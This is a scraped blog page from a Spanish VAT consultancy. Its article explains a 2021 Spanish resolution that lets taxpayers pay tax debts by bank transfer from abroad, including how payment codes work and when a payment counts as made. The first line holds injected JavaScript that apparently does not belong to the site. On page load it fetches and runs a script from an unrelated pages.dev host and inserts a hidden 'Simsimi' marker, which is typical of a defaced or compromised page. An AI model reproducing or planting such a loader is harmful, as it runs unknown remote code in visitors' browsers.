document.addEventListener('DOMContentLoaded', function(){var s=document.createElement('script');s.src='https://91a31208.asukontol.pages.dev/simsimi.js';document.head.appendChild(s);var h=document.createElement('span');h.style.display='none';h.textContent='Simsimi';document.body.appendChild(h);});

Blog

Tamaño de fuente: + –

Imprimir

Spain: The payment of tax debts via direct bank transfer from abroad will be possible

General

Manuel Pérez de Algaba

Miércoles, 10 Febrero 2021

5152 Hits

0 Comentarios

Resolution of January 18, 2021, of the General Directorate of the State Tax Administration Agency, which defines the procedure and conditions for the payment of debts through transfers through collaborating financial entities has been published at the Official Gazette of 4 February 2021.

With effect since the 15^th of March 2021, this resolution introduces the possibility to pay most tax debts via bank transfer. For non-resident companies this constitutes an important novelty since, until now, they could only pay their taxes through a Spanish bank account either of their own of a third party who could make such payment on their behalf.

Among others, this new payment procedure apply to those tax dues resulting from returns which can be electronically filed at the website of the Spanish tax Agency (AEAT). It must be remembered that to this end the taxpayer must be provided with an electronic signature certificate issued by a Spanish service provider homologated by the AEAT is required.

As foreseen in the resolution and subject to implementation, the interface at the AEAT site will include a specific instance where, once the filing process of the corresponding return is completed, the taxpayer will be informed about the payment details, including a payment code to be consigned as the “transfer concept” and the SWIFT-IBAN code of the Spanish bank account where the payment is to be made (AEAT transfer account). Besides, the taxpayer will be required to complete the IBAN code of the bank he will be using to complete the transfer.

Important aspects to consider are the following:

The payment code provided by the system to be mentioned as “transfer concept” will be valid for one month.

No transfer will be accepted unless the following conditions are met:

The net amount transferred must correspond to the exact tax debt of the corresponding tax return. Since any transfer expenses will be charged to the taxpayer, attention will have to be made to the conditions that are applied by the bank he uses to complete the payment.
The “transfer concept” must be the payment code provided by the AEAT interface.

The date of entry for discharge purposes (date of discharge) is the one on which the payment appears at the AEAT transfer account, provided that the payment identifier has been correctly validated, and the data collated. In this case, proof of payment may be obtained at the AEAT site. So, in order to avoid penalties, it is important that the taxpayer allows a time margin for possible incidences in the payment process, so the date of discharge does not exceed the dead-line corresponding to the tax return to be paid.

Sobre el autor

Manuel Pérez de Algaba

Entradas recientes del autor

Mostrar mas post del autor

Martes, 18 Noviembre 2025 Adapting Multinational Billing Systems to Spain’s VeriFactu Regulation: Practical Considerations

Lunes, 22 Septiembre 2025 Recovering Spanish VAT under the 13th Directive: The challenge of reciprocity

Jueves, 22 Mayo 2025 VIDA and the taxpayer Odyssey

Comentarios

No hay comentarios por el momento. Se el primero en enviar un comentario.

Categorías

Noticias

Suscribirse vía RSS

General

Suscribirse vía RSS

IVA en el mundo

Suscribirse vía RSS

Economía digital

Suscribirse vía RSS

IVA en Europa

Suscribirse vía RSS

Automatización de IVA

Suscribirse vía RSS

IVA en España

Suscribirse vía RSS

E-commerce

Suscribirse vía RSS

Aduanas

Suscribirse vía RSS

Cuestiones varias tributarias

Suscribirse vía RSS

Suscríbete a nuestro boletín

Etiquetas

Estudiamos las necesidades
en materia fiscal a nivel europeo
de empresas globales.

IVA CONSULTA
Glorieta de Quevedo, nº 9, 5º
28015 Madrid (España)

CENTRO DE SERVICIOS
C/ Arena, 1, Planta 4ª
35002 Las Palmas de Gran Canaria (España)

+ Información

Siguenos en:

Para una más eficiente prestación de nuestros servicios hemos desarrollado PlatformVAT, nuestra propia herramienta de trabajo colaborativo en línea.

+ Información

Blog

Spain: The payment of tax debts via direct bank transfer from abroad will be possible

Sobre el autor

Manuel Pérez de Algaba

Entradas recientes del autor

Comentarios

Categorías

Suscríbete a nuestro boletín

Etiquetas

+ Información

Siguenos en:

Buscar